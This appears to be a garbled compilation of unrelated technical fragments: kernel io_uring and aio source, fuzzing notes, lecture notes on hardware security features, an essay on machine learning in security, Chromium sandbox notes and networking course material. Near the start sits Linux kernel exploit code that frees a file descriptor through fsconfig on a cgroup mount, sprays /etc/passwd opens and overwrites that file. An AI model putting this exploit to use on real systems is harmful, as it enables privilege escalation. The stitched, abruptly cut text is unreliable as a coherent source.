1.1 AI Agent 是什么？
首先，我们来定义一下什么是 AI Agent。一个 AI Agent的核心决策流程可以概括为三个步骤：感知（Perception）、规划（Planning）和行动（Action）。它具备四大关键特性：

io_uring相关组件介绍
io_uring 子系统由JensAxboe创建，用于提高 I/O操作（文件读/写、socket发送/接收）的性能。一般来说此类需要与内核交互的I/O 操作会使用系统调用 (syscall)，但因为需要在用户态和内核态之间进行上下文切换，会产生大量开销，可能会对执行大量此类I/O 操作的程序（例如 Web 服务器）产生很大的性能损失。目前计划将其集成到 NGINXUnit 中。io_uring由内核子系统（主要位于fs/io_uring.c）和用户态库（liburing）组成。
ret = -EBADFD; if (!io_is_uring_fops(req->file)) goto done;
switch (msg->cmd) { case IORING_MSG_DATA: ret = io_msg_ring_data(req); break; case IORING_MSG_SEND_FD: ret = io_msg_send_fd(req, issue_flags); break; default: ret = -EINVAL; break; }
done: if (ret < 0) req_set_fail(req); io_req_set_res(req, ret, 0); /* put file to avoid an attempt to IOPOLL the req */ io_put_file(req->file); req->file = NULL; return IOU_OK; }
ret = aio_prep_rw(req, iocb); if (ret) return ret; file = req->ki_filp;
if (unlikely(!(file->f_mode & FMODE_WRITE))) return -EBADF; if (unlikely(!file->f_op->write_iter)) return -EINVAL;
ret = aio_setup_rw(WRITE, iocb, &iovec, vectored, compat, &iter); if (ret < 0) return ret; ret = rw_verify_area(WRITE, file, &req->ki_pos, iov_iter_count(&iter)); if (!ret) { /* * Open-code file_start_write here to grab freeze protection, * which will be released by another thread in * aio_complete_rw().

/* * Trinity finds that probing a hole which tmpfs is punching can * prevent the hole-punch from ever completing: which in turn * locks writers out with its hold on i_rwsem.

Worker Service 对于每以个任务，TensorFlow都将启动一个WorkerService。WorkerService将按照计算图中节点之间的依赖关系，根据当前的可用的硬件环境(GPU/CPU)，调用OP的Kernel实现完成OP的运算(一种典型的多态实现技术)。另外，WorkerService还要负责将OP运算的结果发送到其他的WorkService；或者接受来自其他Worker Service发送给它的OP运算的结果。
通过对业界Tensorflow漏洞进行分析，可总结出主要漏洞模式为构造恶意参数传递给pythonAPI，恶意参数通过数据流传递到后端C++内核，导致后端出现传统编码错误。因此我们可以将模糊测试的重点放在算子和模型转换与解析，分别对应MindSpore的api接口以及MindSporeLite的converter工具，模糊测试工具我们选择Atheris: A Coverage-Guided,Native Python Fuzzer以及AFLPlusPlus（或者honggfuzz等）。
while (!run_write) { } run_spray = 1; if (writev(uaf_fd, &iov, 1) < 0) { printf("failed to write\n"); } printf("[*] overwrite done! It should be after the slow write\n"); }
intspray_files() {
while (!run_spray) { } int found = 0;
printf("[*] got uaf fd %d, start spray....\n", uaf_fd); for (int i = 0; i < MAX_FILE_NUM; i++) { fds[i] = open("/etc/passwd", O_RDONLY); if (fds[i] < 0) { perror("open file"); printf("%d\n", i); } if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, fds[i]) == 0) { found = 1; printf("[!] found, file id %d\n", i); for (int j = 0; j < i; j++) close(fds[j]); break; } }
if (found) { sleep(4); return0; } return-1; }
voidtrigger() { int fs_fd = syscall(__NR_fsopen, "cgroup", 0); if (fs_fd < 0) { perror("fsopen"); die(""); }
symlink("./data", "./uaf");
uaf_fd = open("./uaf", 1); if (uaf_fd < 0) { die("failed to open symbolic file\n"); }
if (syscall(__NR_fsconfig, fs_fd, 5, "source", 0, uaf_fd)) { perror("fsconfig"); exit(-1); } // free the uaf fd close(fs_fd); }
Idea: use SMAP to hide data from the rest of the process
Solution: put critical part in ring-3 and rest of the process inring-0
Challenge: how to securely run user code in ring-0?
MPX & MPK
Bounds Error of Software: C/C++ programs are prone to boundserrors.
not type-safe language
buffer overflow bugs
MPX
memory protection extensions
Intel introduces MPX since Skylake
Programmer can create and enforce bounds
specified by two 64-bit addresses specifying the beginning and theend of a range
New instructions are introduced to efficiently compare a given valueagainst the bounds, raising an exception when the value does not fallwithin the permitted range
Instructions:
bndmov: Fetch the bounds information (upper and lower)out of memoryand put it in a bounds register.(有专门的寄存器来储存边界值)
bndcl: Check the lower bounds against an argument(%rax)
bndcu: Check the upper bounds against an argument (%rax)
bnd retq: Not a “true” Intel MPX instruction
The bnd here is a prefix to a normal retq instruction
It just lets the processor know that this is Intel MPX-instrumentedcode
Bounds Tables For efficiency, four bounds can be stored intodedicated registers
Registers: bnd0 to bnd3
When more bounds are required, they are stored in memory, and thebound registers serve as a caching mechanism
Bounds tables are a two-level radix tree, indexed by the virtualaddress of the pointer for which you want to load/store the bounds
The BNDLDX/BNDSTX instructions essentially take a pointer value andmove the bounds information between a bounds register & boundstables
最坏情况下内存overhead 500%，开销很大
大量指针同时进行 bound check使性能变差
在编译的时候设置一些flags来使用
MPK
memory protection keys
with MPK, every page belongs to one of 16 domains, a domain isdetermined by 4 bits in every page-table entry(referred to as theprotection key)
for every domain, there are two bits in a special register(pkru)denotes whether pages associated with that key can be read orwritten
kernel and application
only the kernel can change the key of a page
Application can read and write the pkru register using the rdpkruand wrpkru instructions respectively
Isolation can be enabled using MPK by placing the sensitive data inpages that have a particular protection key, forming the sensitivedomain .
An appropriate instrumentation enables reads and/or writes to thedata by setting the access disable and write-disable bits, respectively,using wrpkru
As long as these bits are unset, the sensitive domain isaccessible
By setting the bits back, the sensitive domain is disabled, makingonly the non- sensitive domain available
软件有mproject方法与之相似，application can already change thepermission of pages. MPK的优势在于mproject是一个systemcall,有性能损失，改内存权限要改页表和刷TLB，一个核改了其他核也要中断刷TLB，下一次访存会TLBmiss而使用MPK只需要执行几条指令，开销更小
应用场景：
use case 1: protect critical data with one address space
Handling of sensitive cryptographic data
Only enable access to private key during encryption
use case 2: prevent data corruption
In-memory database prevents writes most of the time
Only enable changing data when needs to change
Changing protection on gigabytes using mprotect() is too slow
On an ARM64 Linux system using three-level page tables, only thebottom 40 bits are used, while the remaining 24 are equal to the highestsignificant bit
the 40-bit address is sign-extended to 64 bits
those uppermost bits could be put to other uses, including holdingan authentication code
use the 24 bits for security!
把指针加一个tag，和一个密钥一起算出密文，存在前24个bits中
Key Management
PA defines five keys: Four keys for PACand AUTinstructions(combination of instruction/data and A/B keys), one key foruse with the general purpose PACGA instruction
Key storage:
Stored in internal registers and are not accessible by EL0(usermode)
The software(EL1, EL2 and EK3) is required to witch keys betweenexception levels
Higher privilege levels control the keys for the lower privilegelevel
指针加密，加密值存在前24个bits，加一条指令保护栈
New instructions
PAC value creation:
Writee the value to the uppermost bits in a destination registeralongside and address pointer value
Authentication:
Validate a PAC and update the destination register with a correct orcorrupt address pointer
if the authentication fails, an indirect branch or load that usesthe authenticated, and corrupt, address will cause an exception
loads and stores to this new memory type perform an access where thetag present in the top byte of the address register is compared with thetag stored in memory
A mismatch between the tag in the address and the tag memory can beconfigured to cause a synchronous exception or to be asynchronouslyreported
每16 bytes对应一个 1 byte tag 指针加一个tag 要求相邻的spacetag要不一致, malloc/free的时候要注意更新tag,这样malloc开销会变大，因为要初始化所有的tag(虽然可以异步执行)
Page tables support a new attribute: mark page as “Shadow Stack”pages依然属于用户态，但是不能被一般指令访问
Control transfers are allowed to store return addresses to the shadowstack
Like near call, far call, call to interrupt/exception handlers,etc.
However stores from instructions like MOV, XSAVE, etc. will not beallowed
When control transfer instructions attempt to read from the shadowstack
Access will fault if the underlying page is not marked as a “ShadowStack” page
Detects and prevents conditions that cause an overflow or underflowof the shadow stack or any malicious attempts to redirect the processorto consume data from addresses that are not shadow stack addresses
Indirect Branch Tracking
new instruction: ENDBRANCH在jump的时候检查
mark valid indirect call/jmp targets in the programjmp地址必须是一个ENDBRANCH
Becomes a NOP on legacyprocessor，在不支持这一指令的CPU上会变成NOP指令，保证兼容性
On processors that suport CET the ENDBRANCH is still a NOP and isprimarily pipeline to detect control flow violations
WAIT_FOR_ ENDBRANCH State
The CPU implements a state machine that tracks indirect jimp andcall
When one of these instructions is seen, the state machine movesfrom IDLE to WAIT_FOR_ ENDBRANCH state
In WAIT_FOR_ _ENDBRANCH state the next instruction in the programstream must be an ENDBRANCH
If an ENDBRANCH is not seen the processor causes a controlprotection fault else the state machine moves back to IDLEstate
Hardware AES engine located in the memory controller performs inlineencryption and decryption of DRAM
Minimal performance impact: Extra latency only taken for encryptedpages
No application changes required
Encryption keys are managed by the AMD Secure Processor and arehardware isolated. Not known to any software on the CPU
页表第47位设为0不加密，设为1为加密，对软件完全透明。依赖于OS,防硬件不防软件
Comparing with Intel SGX
The SME approach is different
It will not protect memory from an attacker who has compromised thekernel
It is intended to protect against cold- boot attacks, snooping onthe memory bus, and the disclosure of transient data stored inpersistent-memory arrays
Intel MKTME: Multi-Key TME
配置多个key,既可以从hard generated临时的key,也可以用 softwareprovidedkey，适用于NVRAM重启后仍然想知道里面的数据(SGX这样纯硬件生成的重启后就不知道Key了，无法解密)Multi-Key Total Memory Encryption (MKTME)
A fixed number of encryption keys are supported
This functionality is available on a per-page basis
Uses the hardware- generated ephemeral key
Inaccessible by software or external interfaces
MKTME also supports software-provided keys
E.g.. a hypervisor can manage the keys to transparently providememory encryption support for legacy OSes
OS can also use MKTME to provide support in native and virtualizedenvironment
不同的VM可以有多个KeyID的内存区域，通过具有相同keyID的内存区域进行交互
AMD SEV
Threat Model of Public Cloud
Isolation between co-resident VMs provided by hypervisor sometimesbreaks down:
QEMU “VENOM”, VirtualBox bug, etc.
Cloud vendors and hypervisor they provide can not be trusted
Hypervisor has full access to guest secrets in memory
Not ideal for cloud users
AMD SEV assumes no side channel attacks or integrity compromise
Design of SEV
SEV adds an encryption engine in memory controller for encryption
Encryption engine encrypts data using corresponding key
Secure monitor reserves a bitmap in DRAM and protects it viaPMP
Each bit in bitmap corresponds to one physical page and indicatewhether the page is enclave page
CPU checks corresponding bit in bitmap before accessing certainphysical page to prohibit kernel from accessing enclave memory
对性能影响和硬件改动比较大 Cons:
Too much modification to hardware
CPU extension introduces one extra memory access for queryingbitmap
Overhead can be alleviated via tag cache but can not be mitigatedand introduces more modification
Hardware Solution
All unsecure page tables are stored in a reserved memory region(PT_ AREA). New hardware feature is added in page table walker(PTW)
PT_ AREA is isolated from kernel by PMP
Kernel is still in charge of memory mappings but can not writePT_ AREA directly
Secure monitor helps kernel set page table entry and checkmalicious mappings
Minor modification to hardware (only some comparing logic in pagetable walker)
No extra memory access overhead during applicationexecution
It achieves:
G1: Non-enclaves cannot access secure pages
G2: Fine-grained memory isolation without static partitioning
Temporally Cache Partition
Penglai uses cache partition mechanism to alleviate side channel
Partition cache when current CPU issues certain instruction
CPU can still read/write all cache lines but can only evict cachelines allocated to it
Cancel the partition via certain instruction
Most of time the whole cache is shared among CPUs
Fast IPC
Secure monitor allows an enclave to register itself as a serverwith certain name
Then secure monitor will bind the server enclave with itsname
Other enclaves can request secure monitor for handle of serverenclave with certain name
Then it can call server enclave with the handle
Penglai supports both host- enclave IPC and enclave - enclaveIPC
Penglai supports fast ownership transfer between host and enclavevia unmapping pages in PT AREA, marking enclave pages and remapping themin enclave’s page table
Penglai supports fast ownership transfer between enclaves andenclave via unmapping and remapping pages in each enclave’s pagetable
When enclave call is finished, pages’ owner- ship transfer canalso happen in the opposite direction
Features NOT for Security
Transactional Memory 101
本来是给数据库和其他并发软件用的
Hardware TM to mass market
Intel’s restricted transactional memory (RTM)
IBM’s IBM Blue Gene/Q
AMD advanced synchronization family (ASF proposal)
Generally provides:
Opportunistic concurrency
Strong atomicity: read set & write set
Semantic of both all-or-nothing and before-or-after
Real-world best - effort TM
Limited read/write set
System events may abort an TX
Using HTM for DataProtection
Idea: leverage the strong atomicity guarantee provided by HTM todefeat illegal concurrent accesses to the memory space that containssensitive data
Each private- key computation is performed as an atomictransaction
During the transaction
Private key is first decrypted into plaintext,
Use to decrypt or sign messages
If the transaction is interrupted, the abort handler clears allupdated but uncommitted data in the transaction
Before committing the computation result, all sensitive data arecarefully cleared
Intel CAT
The Noisy Neighbor Problem
“noisy neighbor” on core zero over-utilizes shared resources in theplatform, causing performance inversion
Though the priority app on core one is higher priority, it runsslower than expected
Software Controlled CacheAllocation
The basic mechanisms of CAT include:
The ability to enumerate the CAT capability and the associated LLCallocation support via CPUID
Interfaces for the OS/hypervisor to group applications into classesof service (CLOS) and indicate the amount of last-level cache availableto each CLOS
These interfaces are based on MSRs: Model- Specific Registers
PMU
Monitor Control Flow byExisting PMU
PEBS: Precise Performance Counter
Save samples in memory region for batching
Atomic-freeze: record exact IP address precisely
BTS: Branch Trace Store
Capture all control transfer events
Also save exact IP in memory region
LBR: Last Branch Record
Save samples in register stack, only 16 pairs
Event Filtering
E.g. “do not capture near return branches”
Only available in LBR, not BTS
Conditional Counting
E.g. “only counting when at user mode”
Main idea
Leverage PMU for CFI Monitoring
Using already existing hardware
No need to modify software
Two Phases
Offline phase: Get all the legal targets for each branchsource
Online phase: Monitor all branches and detect maliciousones
Branch Types
Direct Branches
Direct call
Direct jump
Indirect Branches
return
indirect call
indirect jump
Target Address Sets
Target Sets for indirect branches
ret_set: all the addresses next to a call
call_set: all the first addresses of a function
train_sets: all the target addresses that once happened
INTEL PT
Intel Processor Tracing (IPT)
Privileged agent configures IPT per core
Define memory location and size for tracing
3 filtering mechanisms: CPL, CR3, IP range
Efficiently captures various information
Control flow, timing, mode change, etc.
Challenges: Fast Trace VS. Slow Decode
Performance overhead is shifted from tracing to decoding, decoding isseveral orders of magnitude slower than tracing
FlowGuard
FlowGuard: transparent, efficient and precise CFI
Transparent: no source code needed, no hardware change
Precise: enforce fine-grained CFI with dynamic information
Efficient: reconstruct CFG and separate fast and slow paths
Evaluation results
Apply FlowGuard to real machine with server workloads
Prevent a various of real code reuse attacks
Less than 8% performance overhead for normal use cases
Usage of Microcode
Customizable RDTSC Precision
Microcode- Assisted Address Sanitizer
Microcoded Instruction Set Randomization
Microcode- Assisted Instrumentation
Authenticated Microcode Updates
μEnclave
Conclusion
Hardware VS. software
User-mode VS. kernel- mode
Integrity VS. privacy
Heterogenous VS. homogenous
Encryption VS. isolation
Side channel attacks & physical attacks

一个异曲同工的例子是 malconv深度学习检测恶意软件，类似的基于字节码的卷积方法并不能学到正确的特征空间。Raffet al 等作者的 “Malware Detection by Eating a Whole EXE”使用二进制文件本身作为输入，试图利用卷积网络从 010101这样的原始字节码特征空间构建一个端到端的恶意软件静态检测分类模型malconv，它在自己论文的测试集上可以达到 90% 以上的AUC。然而，抛开其对新样本和对抗样本检测时极不稳定的表现，“DeepMalNet:Evaluating shallow and deep networks for static PE malware detection”这篇文章引入新的测试集对比了 malconv等多个深度模型以及论文作者自建的随机森林模型后发现，通过手工构建特征工程的随机森林模型也几乎可以达到并超过malconv的效果。究其原因，卷积网络在原始字节码上并不会学习到合适的特征空间，论文中展示的有效性更多是碰巧的结果。Fireeye的研究人员 Coull et al 的文章 “Activation Analysis of a Byte-Based DeepNeural Network for MalwareClassification”表明了malconv的卷积结果其实是把静态二进制文件的文件头信息当作当作主导特征，而由指令跳转组合对模型预测分类的权重极小，其后续改进EMBER malconv 也延续了类似特性，具体的分析和解释可以参见Bose et al “Explaining AI for Malware Detection: Analysis of MechanismsofMalConv”。如果加以使用一定的领域知识工具，比如获取函数导出表、利用一些动态特征比如沙箱采集的函数调用序列，或者使用静态反编译得到指令集序列，将原始二进制转换到这些更能表征软件运行时行为的特征空间当作输入数据集，其机器学习模型的表现比malconv类仅用字节码卷积方法的稳定的多，分类效果也更好，请有兴趣的小伙伴阅读相关参考文献并继续调研。
基于关联知识的反馈：如果一个预测结果是正确的，它的关联结果也应该是正确的，直到将关联延伸若干步骤达到一个错误结果。例如算法预测了某个域名为恶意软件C&C ，它可以通过在 DNS 查询记录对应的 IP 记录关联延伸到沙箱里访问该IP 的二进制在 VirusTotal或者其他检测引擎或者安全团队的二进制文件分析结果，直到完成了整个链路的延伸。这类反馈利用了特征空间之外的第三方知识作独立验证，成本略高于模型特征的反馈，是模型特征反馈方法的有效补充。
算法也需要提供对错误结果的快速处理方法以及部分的自动化，包括合适的分诊算法，添加足够的上下文信息以辅助运营等。可能是因为学术届和工业界对此的讨论有限，无论是在数据科学方向还是在安全研究方向，分诊算法（Triaging）常常被忽视。常见的场景是一个有效的异常检测模型因为其需要运营的预测事件数量较多而被放弃，这无论对数据科学团队还是安全运营团队都是一个巨大损失，而分诊算法可以有效的对预测结果按照运营优先级排序并合理的安排运营资源。一个例子是作者的同事在2017 年 botconf 的演讲 Asiaee et al “Augmented Intelligence to ScaleHumans Fighting Botnets”*，在每小时亿级的 DNS日志流量里使用异常检测模型输出所有未见过的域名，并利用domain2vec构建域名之间的访问关联，以强关联模式作为运营的重要性指标做分诊排序，将每小时约千万级的异常事件降低到十几个有效的聚类，并成功应用到检测DGA恶意软件上。分诊算法有多种指标和方法，包含聚类、排序等，是一个与安全领域知识相关的数据科学方向，在此就不赘述，有兴趣的话可以以后再谈。
《人工智能：一种现代方法》将“机器学习”放在第五单元，大家常说的“基于样本的学习”是该单元下第十九章（以2019年第四版为准）。人工智能作为学术领域方向，它还包括搜索、规划、逻辑、推理、知识表示、感知与行动等多方面，它在问题求解的应用方式应该是多个子方向的结合而不局限于机器学习。举例来说，AlphaGo这个人工智能的标杆应用的成功来自于深度神经网络与蒙特卡洛树搜索方法（MonteCarlo tree search(MCTS)）的结合，而后者是每一本人工智能教材里介绍状态搜索都会提到的算法，而AlphaGo 加入了深度网络的特征抽取与对抗训练，将 MCTS算法的涉猎范畴从课本里的五子棋一举提高到了广大媒体欢呼的围棋。
机器学习之外的其他人工智能方法在网络安全领域问题也有不少例子。这里仍然有一个有趣的例子：攻击方试图利用N 个漏洞及其组合试探目标的 K 个攻击点，每次必须使用 N 个漏洞中的 K个测试，且漏洞利用的顺序与结果相关。在若干轮测试之后，攻击方只得到一些失败的组合以及其失败的原因，可能是挑选的K个漏洞部分已经失效（只知道个数但是很难知道哪一部分），可能是漏洞组合顺序不对等，我们能否根据已知测试结果设计更有效的漏洞组合设计新的测试策略？更难的问题是，是否可以设计根据上一轮结果做出调整的自动化的策略？这个问题可以通过状态空间搜索完成。如果将其简化，各位小朋友们会发现它和3位密码锁的谜题*很相似，从0-9十个数字里挑选三个数组成密码，从错误的密码中总结出规律，得到正确的密码。三位密码锁的问题（N=10，k=3）可以通过暴力搜索000 到 999 的各种组合并验证其是否会掉进已知错误，但如果 N 很大，k也较大的情况，我们必须使用上面提到的 MCTS搜索并设计合理的剪枝条件（比如可能触发部分漏洞无效的漏洞组合等）减少搜索空间，可以引入主动学习（activelearning）的办法按照提出的测试方法及其反馈调整搜索方向。这类问题统称为MasterMind* 问题，感兴趣的小伙伴可以自行参考阅读。
在问题求解中，机器学习与非机器学习方法不应该互相排斥，而需要通力合作。基于样本的学习总会有由样本带来的局限性，它需要别的模型帮它“向其他地方看看”（lookelsewhere）。在 NLP中常见的例子就是实体消歧，例如智能体试图理解“苹果”这个单词，它需要知道这是水果还是那个电子产品公司，它的一般方法是通过上下文关联的知识库以图谱的形式推断“苹果”在语境中的意义。类似的方法在网络安全里也有不少结合了图模型与知识图谱的例子，比如本文作者团队去年发表的工作“Honeypot + graph learning + reasoning = scale up your emerging threatanalysis”*就是结合了序列关键模型和知识图谱，它从发现两个不同 URL在网络流量中的序列关联出发，通过构建知识图谱将URL、二进制哈希值、对应的检测结果等上下文信息连接起来，再通过图模型中链接预测（linkprediction）算法询问图谱是否能找到一条语义路径可以解释两个 URL之间的关联，并利用了一阶逻辑（first orderlogic）的推理方法保证语义路径在充分但不必要和必要但不充分条件存在时的合理性，从而达到预测未知恶意软件下载途径的结果。
更简单的方法也可来自于数据的筛选。正如好的食材只需要简单的烹饪即可迸发其香味，好的数据只需要简单的模型即可带来清晰的结果。一个有意思的例子来自于本文作者与前同事讨论他的文章Asaf Nadler et al “Detection of Malicious and Low Throughput DataExfiltration Over the DNS Protocol”* 在 DNS数据流中检测低吞吐隧道这样常用在 APT 攻击中的数据渗出方法。因为低吞吐DNS 隧道的信号很弱也很罕见，文中用独立森林（IsolationForest）做异常检测需要细致的筛选特征，导致它在大规模有噪声的数据下很难表现其检测威力，也因为算力的问题限制了其解决问题的规模。我们在讨论中发现，如果在DNS数据流中对所有未见过的域名做一轮筛选并以此作为独立森林模型的输入，其预测表现和算力均可满足大规模数据流的要求。通过深入理解目标问题的场景，我们简单的调整了更合适的输入数据使得现有模型可以更上一层楼。
更简单的方法也可以来自于分拆目标问题，它可能是代表部分目标问题的子目标，也可以是目标问题的抽象降解（reduction）等，这些均遵循问题求解的一般方法，请有兴趣的小伙伴自行探索。一个有趣的例子是，本文作者与团队发表在Botconf 工作 “Math + GPU + DNS = Cracking Locky Seeds in Real Timewithout Analyzing Samples”*，它在 DNS 数据流中检测 Locky勒索软件的 DGA 域名，通过 GPU 暴力破解其 DGA的种子并成功预测其未来域名。在这个工作中，我们将这一较难的问题分多步骤拆分和降解，并复用了之前工作中的异常模型和关联模型：

其实，早在 Microsoft 2018 年宣布 Windows 的新浏览器 Microsoft Edge将基于 Chromium内核进行构建之前，伴随互联网发展至今的浏览器之争其实早就已经有了定论，Chromium已然成为现代浏览器的事实标准，市场占有率也一骑绝尘。在服务端、桌面还是移动端，甚至据传SpaceX 火箭亦搭载了基于 Chromium 开发的控制面板。
可以说，几乎所有发生在浏览器页签中的工作，都有Blink参与处理。由于涉及许多组件库，不难想象过程中可能会出现的安全风险一定不少。据《TheSecurity Architecture of the ChromiumBrowser》一文的统计数据，约67.4%的浏览器漏洞都出在渲染引擎中，这也是为什么要引入Sandbox这么重要。
在Windows平台上，Chrome组合使用了系统提供的RestrictedToken、Integrity Level、The Windows job object、The Windows desktopobject机制来实现沙盒。其中最重要的一点是，把写操作权限限制起来，这样攻击这就无法通过写入文件或注册表键来攻击系统。

目前，移动客户端主要分两大“阵营”：安卓和iOS，最大相关风险是Webview类组件。前者Android System Webview是基于Chromium源代码开发的，所以当1Day披露时，需要及时跟进影响；iOSApp一般会使用WKWebView和JavaScriptCore，Chromium 1Day影响iOS应用的可能性较低。

For example, the legacy “Class B” network 172.16.0.0, with an impliednetwork mask of 255.255.0.0, is defined as the prefix 172.16.0.0/16, the“/16” indicating that the mask to extract the network portion of theprefix is a 32-bit value where the most significant 16 bits are ones andthe least significant 16 bits are zeros. Similarly, the legacy “Class C” network number 192.168.99.0 is definedas the prefix 192.168.99.0/24; the most significant 24 bits are ones andthe least significant 8 bits are zeros.
ipv6
There are three conventional forms for representing IPv6 addresses astext strings:[2]
The preferred form is x:x:x:x:x:x:x:x, where the’x’s are the hexadecimal values of the eight 16-bit pieces of theaddress. Examples:
FEDC:BA98:7654:3210:FEDC:BA98:7654:3210
1080:0:0:0:8:800:200C:417A
Note that it is not necessary to write the leading zeros in anindividual field, but there must be at least one numeral in every field(except for the case described in 2.).
Due to some methods of allocating certain styles of IPv6addresses, it will be common for addresses to contain long strings ofzero bits. In order to make writing addresses containing zero bitseasier a special syntax is available to compress the zeros. The use of“::” indicates multiple groups of 16-bits of zeros. The “::” can onlyappear once in an address. The “::” can also be used to compress theleading and/or trailing zeros in an address. For example the followingaddresses:
1080:0:0:0:8:800:200C:417A a unicast address
FF01:0:0:0:0:0:0:101 a multicast address
0:0:0:0:0:0:0:1 the loopback address
0:0:0:0:0:0:0:0 the unspecified addresses
may be represented as:
1080::8:800:200C:417A a unicast address
FF01::101 a multicast address
::1 the loopback address
:: the unspecified addresses
An alternative form that is sometimes more convenient whendealing with a mixed environment of IPv4 and IPv6 nodes isx:x:x:x:x:x:d.d.d.d, where the ’x’s are the hexadecimalvalues of the six high-order 16-bit pieces of the address, and the ’d’sare the decimal values of the four low-order 8-bit pieces of the address(standard IPv4 representation). Examples:

在本章中，我们将概述所有章节并留待后续文章进行详细解释，同时我们需要知道下述问题：
什么是计算机网络？
当我们谈论计算机网络时会想到什么？
是什么构成了计算机网络？
为什么会存在计算机网络？
什么是互联网？协议是什么？构成互联网的主要元素是什么？
我们在计算机网络中遇到什么问题，我们如何解决这些问题？
我们将首先介绍计算机网络的基本概念。
1.1 What is theInternet?
Overview. What is the Internet? What is aprotocol?
它是网络中的网络。 “network of networks”
There are several ways to answer this question. First, we candescribe the basic hardware and software components that make up theInternet. Secondly, we can define the internet as a networkinfrastructure that provides services to distributed applications.
nuts-and-bolts-view
Let’s start with the basic building blocks of the internet.
Basic building blocks ofthe Internet
The internet: a “nuts and bolts” view
Internet: “network of networks”(Again, this is really important.)
ISP is an acronym that stands for InternetService Provider . Internet Service Provider is a company thatprovides Internet access to organizations and home users. In short, anISP usually gives you Internet access for a fee. Without an ISP, youcannot shop online, access Facebook or read this page. Certaintelecommunications, networking and routing equipment is required toconnect to the Internet. ISPs allow users to establish an Internetconnection by allowing users to access networks containing the necessaryequipment.
Can I connect to the Internet without an ISP?
No, every end device needs an ISP to access the Internet. We willtalk about this in more detail in 1.2 Network Devicessection.
Protocols are everywhere.
It controls the sending and receiving of messages.
IETF:Internet engineering task force(According to Xiao seniors ——disciple of the author of this book, they voted by the loudness of thehen, which I still can’t believe.)
Why are these standards?
Working in line with the middle paths determined when working withcommunities by speaking a common language. kg, meters, etc.
Internet services overview
The Internet: a “services” view
Internet: It is the infrastructurethat serves the application.
If we start from a protocol that we apply in daily life withoutrealizing it; Asking time protocol!
A: Hello
B:Hello
A: What time is it?
B:It’s 17:21
A: Thank you
This is an example of a normal double talk (dialog).
If the other party does not receive your greetings, the conversationwill end, in case the other party does not speak English(Maybe youshould try Chinese at this time?); If it is a language you do not know,the communication will end, or if it is a language you know, theconversation will continue with that language.
In other words, according to the answers given by person B, ourcommunication will develop in another direction.
You can see the communication default used in this humancommunication.
b) Network protocols
The only difference compared to the above example is that people arereplaced by computers.
All communication activities on the Internet are managed byprotocols.
humans-and-computer-protocols
A protocol defines the format andthe order of messages exchanged between two or morecommunicating entities, as well as the actions taken onthe transmission and/or receipt of a message or other event.
1.2 Network devices
The Network Edge
Let’s take a closer look at the Internet structure ..
a. Network Edge (Edge device)
We can consider any device that connects to the Internet as anetwork edge. What are these; computers, servers,mobile devices, cars, fridges ….
hosts: clients and servers
servers often in data centers
b.Access networks (Intermediate devices), physical media
They are intermediate devices that connect the units carrying thesepackages. These can be wired or wireless.
wired, wireless communication links
c. Network Core ISP
The units that logically or physically combine these above mentionedunits are also called ISP.
Interconnected routers
Network of networks
Q: How to connectend systems to edge router?
In the first home scenario that comes tomind, the device you use is connected to an access point. Access pointconnects to ISP. The ISP may also be connecting to the server.“residential access net”
Or you may be connecting through a public networkat a coffee shop. “institutionalaccess networks (school, company)”
Apart from these, you can connect directlywith the phone’s 4G / 5G or wifi.“mobile access networks (WiFi, 4G/5G)”
Access networks: cable-basedaccess
The first problem we encounter while accessing networks is to be ableto send the data of many devices connected to the network withoutcorruption.
We can use two different approaches to achieve this. These areFDM (Frequency Division Multiplexing) andTDM.
FDM (Frequency DivisionMultiplexing)
frequency-dependent partitioning
In this approach, we carry the data in a single cable at differentfrenx intervals. Pink Floyd ’s thedark side of the moon colors stored in different frequencyranges within the album cover -Light prizması- in white light is a goodexample.
TDM (Time DivisionMultiplexing)
time partitioning
In this approach, the data is sent in a sequence, not divided intofrequency ranges.
First the data of device A is sent, then data ofdevice B, and then device C …
What is Topology?
Topology deals with the properties of surfaces and shapes, but notlengths and angles. What he cares about is the properties of shapes thatdo not change when they are transformed into another shape. In topology,shapes can be pulled from all sides. Simply put, it is possible tocontinuously transform topological objects into another object withouttearing, cutting or tearing them, just by bending and bending them.
For example, computer networks (networks) are based on both physicaland logical topology. All terminals on the network are interconnected.The mapping of these interconnections is the physical topology, whilethe data flow determines the logical topology of the network. In otherwords, the physical topology specifies the physical design of thenetwork, while the logical topology specifies how the data is processedin the network independently.
[Networktopologies] -Bus, star etc …
There are certain devices that are used to prevent confusion of datasent from these different places.
shared access network
The houses shown in the example use a shared network and access theInternet in this way. (shared access network)
HFC: hybrid fiber coax
asymmetric: up to 40 Mbps – 1.2 Gbs downstream transmission rate,30-100 Mbps upstream transmission rate
network of cable, fiber attaches homes to ISP router
homes share access network to cable headend
Access networks:digital subscriber line (DSL)
According to the previous example, we have a subscriberline and, contrary to the previous example, we can think thateveryone has their own network, not a single network in theneighborhood. Of course, technically, these home networks, which will beconnected to the common cable in the neighborhood at the end of the day,are described as special services that ISPs provide to theircustomers.
While there is a shared network in the previousexample, there is a cable assigned to the houses in theDSL example.
digital subscriber line
use existing telephone line to central office DSLAM
data over DSL phone line goes to Internet
voice over DSL phone line goes to telephone net
24-52 Mbps dedicated downstream transmission rate
3.5-16 Mbps dedicated upstream transmission rate
Access networks: homenetworks
Wireless access networks
Shared wireless access network connects end system torouter
provided by mobile, cellular network operator (10’s km)
10’s Mbps
4G cellular networks (5G coming)
cellular
Access networks: enterprisenetworks
enterprise networks
companies, universities, etc.
mix of wired, wireless link technologies, connecting a mix ofswitches and routers (we’ll cover differences shortly)
Ethernet: wired access at 100Mbps, 1Gbps, 10Gbps
WiFi: wireless access points at 11, 54, 450 Mbps
Access networks: datacenter networks
high-bandwidth links (10s to 100s Gbps) connect hundreds tothousands of servers together, and to Internet
Courtesy: Massachusetts Green HighPerformance Computing Center
Host: sends packets ofdata
host sending function:
takes application message
breaks into smaller chunks, known as packets, oflength L bits
transmits packet into access network at transmission rateR
link transmission rate, aka link capacity, aka linkbandwidth
Host
We talked about how data was sent from a host. This time, we’re goingto tackle an engineering problem.Data Delay
packet-delay
Data delay
Data lag is the most common problem we will face in data transfer.Our connection may slow down (lag) while playing games, packets may bedelayed while watching live broadcast …
Or, if data comes from different sources, we need to list it at itsdestination. We need to adjust these delays for service quality.
So why are these delays caused?
Simply put, you have L bits of data to transmit, but you can onlytransmit R bits of data per second.
signal carried in various “bands” in electromagnetic spectrum
no physical “wire”
broadcast, “half-duplex” (sender to receiver)
propagation environment effects:
reflection
obstruction by objects
